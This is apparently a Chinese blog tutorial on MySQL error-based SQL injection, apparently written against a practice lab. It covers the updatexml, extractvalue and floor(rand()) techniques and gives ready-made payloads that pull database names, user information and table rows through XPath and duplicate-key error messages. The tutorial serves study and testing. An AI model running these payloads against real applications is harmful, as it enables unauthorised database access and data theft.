zoukankan      html  css  js  c++  java
  • SQL 注入 报错注入

    报错注入的三种格式:

    第一种:  updatexml  修改格式函数  修改格式不符合 报错


    函数解释:

      UPDATEXML (XML_document, XPath_string, new_value);

      第一个参数:XML_document是String格式,第二个参数:XPath_string (Xpath格式的字符串) ,

      第三个参数:new_value,String格式,替换查找到的符合条件的数据

      而我们的注入语句为:
       select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

      其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
      ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

    select updatexml(1,concat(0x7e,(构造语句)),1);

    updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)

    第二种  extractvalue()函数报错注入  查询函数  不符合报错


    函数解释:
      extractvalue():从目标XML中返回包含所查询值的字符串。
      EXTRACTVALUE (XML_document, XPath_string);
      第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
      第二个参数:XPath_string (Xpath格式的字符串)
      concat:返回结果为连接参数产生的字符串。

    1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) -- //爆数据库信息

    1'  and  extractvalue(1,(构造语句))

    第三种:floor()报错注入语句格式:


    函数解释:
      

    要求列数一致

    select   count(*),     concat(floor(rand(0)*2),database())   x from information_schema. schemata  group by x;

  • 相关阅读:
    POJ 2054 Color a Tree
    UVA12113-Overlapping Squares(二进制枚举)
    UVA690-Pipeline Scheduling(dfs+二进制压缩状态)
    UVA818-Cutting Chains(二进制枚举+dfs判环)
    UVA211-The Domino Effect(dfs)
    UVA225-Golygons(dfs)
    UVA208-Firetruck(并查集+dfs)
    UVA1374-Power Calculus(迭代加深搜索)
    UVA1374-Power Calculus(迭代加深搜索)
    UVA1434-The Rotation Game(迭代加深搜索)
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12786114.html
Copyright © 2011-2022 走看看